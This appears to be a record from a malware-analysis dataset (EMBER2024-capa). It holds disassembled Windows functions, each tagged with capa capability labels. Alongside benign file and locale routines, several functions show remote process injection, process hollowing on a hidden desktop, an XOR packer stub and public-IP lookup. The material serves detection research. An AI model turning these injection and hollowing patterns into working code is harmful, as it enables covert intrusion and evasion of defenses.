joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4216c0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x421820
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 8]
mov ecx, 1
mov edx, dword [0x421660]
call fcn.0040c644
add esp, 4
push 0x104
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, dword [0x421690]
call fcn.0040c644
add esp, 4
mov bl, 0
mov dl, 1
mov eax, esi
call fcn.00421a20
test al, al
jne 0x421736
mov dl, 1
mov eax, esi
call fcn.00421988
test al, al
je 0x4217c0
lea edx, [ebp - 0x1c]
mov eax, esi
call fcn.00421cb0
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 4]
call fcn.004282f0
push 0x104
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x104
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.0040a654
mov esi, eax
push esi
call sub.kernel32.dll_GetVolumeInformationW
test eax, eax
je 0x4217bb
test byte [ebp - 0x14], 1
je 0x421786
or bl, 1
test byte [ebp - 0x14], 2
je 0x42178f
or bl, 2
test byte [ebp - 0x14], 0x80
je 0x421798
or bl, 0x20
push esi
call sub.kernel32.dll_GetDriveTypeW
sub eax, 2
je 0x4217ac
dec eax
je 0x4217b1
dec eax
je 0x4217b6
dec eax
jne 0x4217e1
or bl, 0x10
jmp 0x4217e1
or bl, 4
jmp 0x4217e1
or bl, 8
jmp 0x4217e1
call fcn.004290f0
lea edx, [ebp - 0x20]
mov eax, dword [0x4fb014]
call fcn.0040f6c8
mov ecx, dword [ebp - 0x20]
mov dl, 1
mov eax, dword [0x41a188]
call fcn.00426d08
call fcn.004092b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x421827
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.00409c18
lea eax, [ebp - 0xc]
mov edx, dword [0x421690]
call fcn.0040c768
lea eax, [ebp - 8]
mov edx, dword [0x421660]
call fcn.0040c768
lea eax, [ebp - 4]
call fcn.00409bb8
ret

Function at 0x421888
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [esi]
add eax, edi
push eax
push ebx
call sub.kernel32.dll_ReadFile
test eax, eax
jne 0x4218b5
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4
Function at 0x421988
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, esi
call fcn.0040a654
mov edi, eax
push edi
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x4219f2
test ah, 4
je 0x4219eb
test bl, bl
jne 0x4219b0
mov al, 1
jmp 0x421a19
test al, 0x10
je 0x4219b8
xor eax, eax
jmp 0x421a19
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push edi
call sub.kernel32.dll_CreateFileW
cmp eax, 0xffffffff
je 0x4219dc
push eax
call sub.kernel32.dll_CloseHandle
mov al, 1
jmp 0x421a19
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 0x20
sete al
jmp 0x421a19
test al, 0x10
sete al
jmp 0x421a19
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 2
je 0x421a13
cmp ebx, 3
je 0x421a13
cmp ebx, 0x7b
je 0x421a13
mov eax, esi
call fcn.00421948
test al, al
jne 0x421a17
xor eax, eax
jmp 0x421a19
mov al, 1
pop edi
pop esi
pop ebx
ret

Function at 0x421a20
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov byte [esp], dl
mov edi, eax
xor ebx, ebx
mov eax, edi
call fcn.0040a654
mov ebp, eax
push ebp
call sub.kernel32.dll_GetFileAttributesW
mov esi, eax
cmp esi, 0xffffffff
je 0x421ac7
test esi, 0x400
jne 0x421a5c
test esi, 0x10
setne bl
jmp 0x421af7
cmp byte [esp], 0
je 0x421a90
push 0
push 0x2000000
push 3
push 0
push 1
push 0x80000000
push ebp
call sub.kernel32.dll_CreateFileW
cmp eax, 0xffffffff
je 0x421af7
push eax
call sub.kernel32.dll_CloseHandle
test esi, 0x10
setne bl
jmp 0x421af7
test esi, 0x10
je 0x421a9c
mov bl, 1
jmp 0x421af7
push 0
push 0x2000000
push 3
push 0
push 1
push 0x80000000
push ebp
call sub.kernel32.dll_CreateFileW
cmp eax, 0xffffffff
je 0x421ac3
push eax
call sub.kernel32.dll_CloseHandle
xor ebx, ebx
jmp 0x421af7
mov bl, 1
jmp 0x421af7
call sub.kernel32.dll_GetLastError
cmp eax, 2
je 0x421af1
cmp eax, 3
je 0x421af1
cmp eax, 0xa1
je 0x421af1
cmp eax, 0x7b
je 0x421af1
cmp eax, 0x35
je 0x421af1
cmp eax, 0x15
je 0x421af1
cmp eax, 0x43
jne 0x421af5
xor ebx, ebx
jmp 0x421af7
mov bl, 1
mov eax, ebx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x421b00
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
mov byte [ebp - 9], cl
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x421bd3
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00409fe0
cmp byte [ebp - 9], 0
je 0x421b91
mov eax, ebx
call fcn.0040a654
push eax
call sub.kernel32.dll_GetFileAttributesW
test ah, 4
je 0x421b91
lea edx, [ebp - 8]
mov eax, ebx
call fcn.00420520
test al, al
je 0x421b91
mov eax, dword [ebp - 8]
call fcn.00421dc0
test al, al
je 0x421b86
lea edx, [ebp - 0x14]
mov eax, ebx
call fcn.00421be4
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.004282f0
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 8]
mov ecx, dword [ebp - 8]
call fcn.0040a8a4
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00409fe0
push edi
mov eax, dword [ebp - 4]
call fcn.0040a654
push eax
call sub.kernel32.dll_SetFileAttributesW
test eax, eax
jne 0x421bab
call sub.kernel32.dll_GetLastError
mov esi, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x421bda
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00409c18
lea eax, [ebp - 8]
mov edx, 2
call fcn.00409c18
ret

Function at 0x425860
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW
test eax, eax
jle 0x425899
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.00409d40
jmp 0x4258a2
mov eax, ebx
mov edx, esi
call fcn.00409f98
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4258ac
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW
test eax, eax
jle 0x4258ce
movzx eax, word [esp]
jmp 0x4258d0
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x426bb8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff778
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
xor ecx, ecx
push ebp
push 0x426cdd
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x400
lea ecx, [ebp - 0x888]
call fcn.004269c0
mov esi, eax
mov eax, dword [0x4fafa8]
cmp byte [eax], 0
je 0x426c85
mov eax, dword [0x4fadf4]
call fcn.00407714
call fcn.00406fa0
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte
mov ebx, eax
push ebx
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x426b88]
call fcn.0040c644
add esp, 4
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x426cf8
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
jmp 0x426cc1
push 0x40
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x4fadbc]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4ff634]
call fcn.0040ca34
push eax
call sub.user32.dll_LoadStringW
push 0x2010
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x888]
push eax
push 0
call sub.user32.dll_MessageBoxW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x426ce4
lea eax, [ebp - 4]
mov edx, dword [0x426b88]
call fcn.0040c768
ret
Function at 0x427e28
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x427f28
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00409fe0
lea eax, [ebp - 4]
call fcn.0040a0fc
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.0040a654
push eax
call sub.version.dll_GetFileVersionInfoSizeW
mov ebx, eax
test ebx, ebx
je 0x427f12
mov eax, ebx
call fcn.00406e2c
mov dword [ebp - 0x10], eax
xor edx, edx
push ebp
push 0x427f0b
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.0040a654
push eax
call sub.version.dll_GetFileVersionInfoW
test eax, eax
je 0x427ef5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x427f3c
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueW
test eax, eax
je 0x427ef5
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x10]
shr eax, 0x10
movzx eax, ax
mov dword [esi], eax
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 0x10]
mov dword [edi], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x14]
shr eax, 0x10
movzx eax, ax
mov edx, dword [ebp + 8]
mov dword [edx], eax
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x427f12
mov eax, dword [ebp - 0x10]
call fcn.00406e48
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x427f2f
lea eax, [ebp - 4]
call fcn.00409bb8
ret

Function at 0x428f38
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.0040a088
mov ebp, eax
push ebp
push 0
push 0
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.0040f75c
mov edi, eax
cmp edi, 0x104
jbe 0x428ee3
mov eax, edi
add eax, eax
call fcn.00406e2c
mov esi, eax
jmp 0x428ee5
mov esi, esp
push ebp
push esi
push edi
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.0040f75c
push esi
call sub.user32.dll_CharUpperW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x428f1e
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x428f08
mov eax, esp
cmp esi, eax
je 0x428f2b
mov eax, esi
call fcn.00406e48
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x428f64
cmp bl, 0
je 0x428f60
cmp bl, 0x41
jl 0x428f5b
cmp bl, 0x5a
jg 0x428f5b
or bl, 0x20
xor al, bl
inc esi
jmp 0x428f3f
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x428ea4

Function at 0x42985c
Capabilities:
Get geographical location

Disassembly:
push ebx
add esp, 0xfffff800
mov ebx, ecx
mov word [esp], 0
push 0x400
lea ecx, [esp + 4]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW
mov eax, ebx
mov edx, esp
mov ecx, 0x400
call fcn.0040a6f4
add esp, 0x800
pop ebx
ret
Function at 0x429ddc
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffff800
mov esi, edx
mov edi, eax
mov eax, esi
call fcn.00409bb8
push 0x400
lea eax, [esp + 4]
push eax
mov eax, edi
call fcn.0040a654
mov ebp, eax
push ebp
call sub.kernel32.dll_GetEnvironmentVariableW
mov ebx, eax
cmp ebx, 0x400
jge 0x429e21
mov edx, esp
mov eax, esi
mov ecx, ebx
call fcn.00409d40
jmp 0x429e3a
mov edx, ebx
dec edx
mov eax, esi
call fcn.0040a7cc
push ebx
mov eax, dword [esi]
call fcn.0040a654
push eax
push ebp
call sub.kernel32.dll_GetEnvironmentVariableW
add esp, 0x800
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4881d8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov dl, 0xb5
mov ebx, eax
xor eax, eax
mov ecx, eax
mov esi, ebx
shr esi, cl
mov ecx, esi
and cl, 0xff
xor dl, cl
inc eax
cmp eax, 4
jne 0x4881e0
mov eax, edx
pop esi
pop ebx
ret

Function at 0x4c1354
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, eax
or dl, byte [ebx + 0xd]
je 0x4c1397
cmp byte [ebx + 0x11], 0
jne 0x4c1397
cmp byte [ebx + 0x24], 0
jne 0x4c1397
mov byte [ebx + 0xf], 0
mov byte [ebx + 0xd], 0
mov eax, dword [ebx + 8]
push eax
call sub.kernel32.dll_ResumeThread
cmp eax, 1
je 0x4c13ae
mov ecx, dword [0x4faf64]
mov dl, 1
mov eax, dword [0x4960d4]
call fcn.00426e3c
call fcn.004092b4
pop ebx
ret
mov ecx, dword [0x4faf64]
mov dl, 1
mov eax, dword [0x4960d4]
call fcn.00426e3c
call fcn.004092b4
pop ebx
ret

Function at 0x4c1c04
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 0xf]
mov byte [ebp - 5], al
xor eax, eax
push ebp
push 0x4c1c52
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xf], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
push eax
call sub.kernel32.dll_SuspendThread
test eax, eax
setge dl
mov eax, dword [ebp - 4]
call fcn.004c1200
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4c1c6b
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x4c1c74
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 8]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.004c1200
dec esi
jne 0x4c1c96
mov byte [ebx + 0xf], 0
pop esi
pop ebx
ret

Function at 0x4f1dc4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebp, edx
mov esi, eax
mov eax, ebp
call fcn.0040a088
mov ebx, eax
inc ebx
push 0x40
push 0x3000
push ebx
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [esp + 4]
push eax
push 0x40
push ebx
push edi
push esi
call sub.kernel32.dll_VirtualProtectEx
push esp
push ebx
push ebp
push edi
push esi
call sub.kernel32.dll_WriteProcessMemory
mov eax, edi
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4f1e10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov ebp, edx
mov ebx, eax
push 0x40
push 0x3000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
push esp
push esi
push ebp
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
mov eax, edi
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4f1e40
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.004f1e10
mov esi, eax
mov eax, edi
call fcn.004f1da0
mov ecx, eax
mov edx, edi
mov eax, ebx
call fcn.004f1e10
lea edx, [ebp - 0xc]
push edx
push 0
push esi
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
cmp byte [ebp + 8], 0
je 0x4f1ea6
push 0xffffffffffffffff
push edi
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push ebx
call sub.kernel32.dll_ReadProcessMemory
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4f1fc8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14]
mov edx, dword [0x4f1a48]
call fcn.0040ac8c
xor eax, eax
push ebp
push 0x4f20d9
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x1d], 0
mov eax, dword [ebp - 0x1c]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edi, eax
mov esi, 0x10000000
add esi, 0x10000
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
add eax, esi
push eax
call sub.kernel32.dll_VirtualAlloc
mov ebx, eax
test ebx, ebx
je 0x4f2061
push 0x8000
push 0
push ebx
call sub.kernel32.dll_VirtualFree
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
add eax, esi
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov ebx, eax
test ebx, ebx
jne 0x4f206d
cmp esi, 0x30000000
jbe 0x4f2016
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x1c]
mov edx, ebx
mov eax, dword [ebp - 0x18]
call fcn.004f25f8
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x4f20bd
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 8]
mov dword [ebp - 0x24], edx
lea edx, [ebp - 0x2c]
push edx
mov edx, dword [ebp - 0x10]
push edx
push eax
push ebx
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_WriteProcessMemory
push 8
push 0
lea ecx, [ebp - 0x28]
mov edx, 0x4f1fa0
mov eax, dword [ebp - 0x18]
call fcn.004f1e40
test eax, eax
je 0x4f20bd
mov byte [ebp - 0x1d], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f20e0
lea eax, [ebp - 0x14]
mov edx, dword [0x4f1a48]
call fcn.0040b040
ret
Function at 0x4f23ac
Capabilities:
Inspect section memory permissions

Disassembly:
xor edx, edx
test eax, 0x4000000
je 0x4f23bb
or edx, 0x200
test eax, 0x20000000
je 0x4f23ef
test eax, 0x40000000
je 0x4f23da
test eax, 0x80000000
je 0x4f23d5
or edx, 0x40
jmp 0x4f2416
or edx, 0x20
jmp 0x4f2416
test eax, 0x80000000
je 0x4f23e9
or edx, 0x80
jmp 0x4f2416
or edx, 0x10
mov eax, edx
ret
test eax, 0x40000000
je 0x4f2407
test eax, 0x80000000
je 0x4f2402
or edx, 4
jmp 0x4f2416
or edx, 2
jmp 0x4f2416
test eax, 0x80000000
je 0x4f2413
or edx, 8
jmp 0x4f2416
or edx, 1
mov eax, edx
ret
Function at 0x4f68b8
Capabilities:
Copy file
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x4f68c0
push ecx
push ebx
push esi
push edi
mov eax, 0x4f2ee8
call fcn.00410ce8
xor eax, eax
push ebp
push 0x4f6b40
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4f6b0c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
call fcn.004f2c3c
mov edx, dword [ebp - 0x14]
mov eax, 0x502520
call fcn.00409f98
mov dl, 1
mov eax, dword [0x502520]
call fcn.00421a20
test al, al
jne 0x4f6920
mov eax, dword [0x502520]
call fcn.00421e60
push dword [0x502520]
push 0x4f6b5c
lea eax, [ebp - 0x18]
call fcn.004f27fc
push dword [ebp - 0x18]
push 0x4f6b6c
mov eax, 0x502520
mov edx, 4
call fcn.0040a92c
lea eax, [ebp - 0x20]
call fcn.004f2e88
mov eax, dword [ebp - 0x20]
call fcn.0040a654
mov edx, eax
lea eax, [ebp - 0x1c]
call fcn.0040a6b8
lea eax, [ebp - 0x1c]
mov edx, 0x4f6b84
call fcn.0040a84c
mov eax, dword [ebp - 0x1c]
mov dl, 1
call fcn.00421a20
test al, al
je 0x4f69b1
push 0
mov eax, dword [0x502520]
call fcn.0040a654
push eax
lea eax, [ebp - 0x24]
call fcn.004f2e88
lea eax, [ebp - 0x24]
mov edx, 0x4f6ba4
call fcn.0040a84c
mov eax, dword [ebp - 0x24]
call fcn.0040a654
push eax
call sub.kernel32.dll_CopyFileW
jmp 0x4f69e1
push 0
mov eax, dword [0x502520]
call fcn.0040a654
push eax
lea eax, [ebp - 0x28]
call fcn.004f2e88
lea eax, [ebp - 0x28]
mov edx, 0x4f6bd8
call fcn.0040a84c
mov eax, dword [ebp - 0x28]
call fcn.0040a654
push eax
call sub.kernel32.dll_CopyFileW
mov eax, dword [0x502520]
call fcn.0040a654
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.0040a6b8
mov eax, dword [ebp - 0x2c]
mov cl, 1
mov edx, 2
call fcn.00421b00
push 0
push 0x10000000
push 0
push 0
push 0
push 0x4f6c00
call sub.user32.dll_CreateDesktopW
mov dword [0x50251c], eax
mov eax, 0x5024c8
xor ecx, ecx
mov edx, 0x44
call fcn.00407778
mov dword [0x5024c8], 0x44
mov eax, 0x4f6c00
mov dword [0x5024d0], eax
push 0x50250c
push 0x5024c8
push 0
push 0
push 0x24
push 0
push 0
push 0
push 0
mov eax, dword [0x502520]
call fcn.0040a654
push eax
call sub.kernel32.dll_CreateProcessW
mov eax, dword [0x502514]
push eax
push 0
push 0x1fffff
call sub.kernel32.dll_OpenProcess
mov esi, eax
push 0x4f6c20
push 0xa
mov ecx, dword [0x4ff634]
mov dl, 1
mov eax, dword [0x492bd4]
call fcn.004b441c
mov edi, eax
mov dl, 1
mov eax, dword [0x4928cc]
call fcn.00407d04
mov ebx, eax
mov edx, edi
mov eax, ebx
call fcn.004b4158
push 0
push 0
mov eax, ebx
call fcn.004b1f20
mov edx, dword [ebx + 4]
mov eax, esi
call fcn.004f1fc8
mov eax, dword [0x50251c]
push eax
call sub.user32.dll_CloseDesktop
push esi
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x502510]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, ebx
call fcn.00407d34
mov eax, edi
call fcn.00407d34
mov eax, dword [ebx + 4]
call fcn.00406e48
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4f6b1b
push 0xbb8
call sub.kernel32.dll_Sleep
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f6b47
lea eax, [ebp - 0x2c]
mov edx, 7
call fcn.00409c18
ret
Function at 0x401a60
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [0x440d40], 0x24e1
mov eax, dword [0x440d40]
sub eax, 0x24e1
mov dword [0x440d40], eax
mov ecx, 1
test ecx, ecx
je 0x401b0b
mov edx, dword [0x440d40]
cmp edx, dword [ebp + 0xc]
jb 0x401a97
jmp 0x401b0b
cmp dword [0x440d40], 0
jne 0x401ab5
push 0x263
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
test eax, eax
je 0x401ab5
xor eax, eax
jmp 0x401b0b
mov eax, dword [ebp + 8]
add eax, dword [0x440d40]
mov ecx, dword [eax]
add ecx, dword [0x440d40]
mov edx, dword [ebp + 8]
add edx, dword [0x440d40]
mov dword [edx], ecx
mov dword [ebp - 4], 0x15
mov eax, dword [0x440d40]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax + 2]
push edx
mov eax, dword [ebp + 8]
add eax, dword [0x440d40]
push eax
call fcn.004011c0
add esp, 8
mov ecx, dword [0x440d40]
add ecx, 4
mov dword [0x440d40], ecx
jmp 0x401a7d
mov esp, ebp
pop ebp
ret

Function at 0x40895b
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop edi
sub esp, 4
mov dword [esp], eax
pop eax
add eax, eax
call fcn.0040898c
or ebx, ebx
xor dword [ecx], edi
add ecx, 1
inc ebx
cmp ecx, esi
jne fcn.0040895b
add eax, 0x7eb42762
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x4017d0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push 0
push 0
push 0
push 0
push 0x404288
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x40188a
push 0
push 0
push 0
push 0
push str.http:__icanhazip.com_
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x40187e
lea ecx, [ebp - 0x6c]
push ecx
push 0x63
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x68]
test ecx, ecx
je 0x40187e
push 0x404314
lea edx, [ebp - 0x68]
push edx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x40186b
lea eax, [ebp - 0x68]
push eax
call fcn.00401400
add esp, 4
lea ecx, [ebp - 0x68]
push ecx
push 0x404318
push 0x407fc8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x40187e
push 0x404320
push 0x407fc8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40189d
push str._0.0.0.0_
push 0x407fc8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x407fc8
mov esp, ebp
pop ebp
ret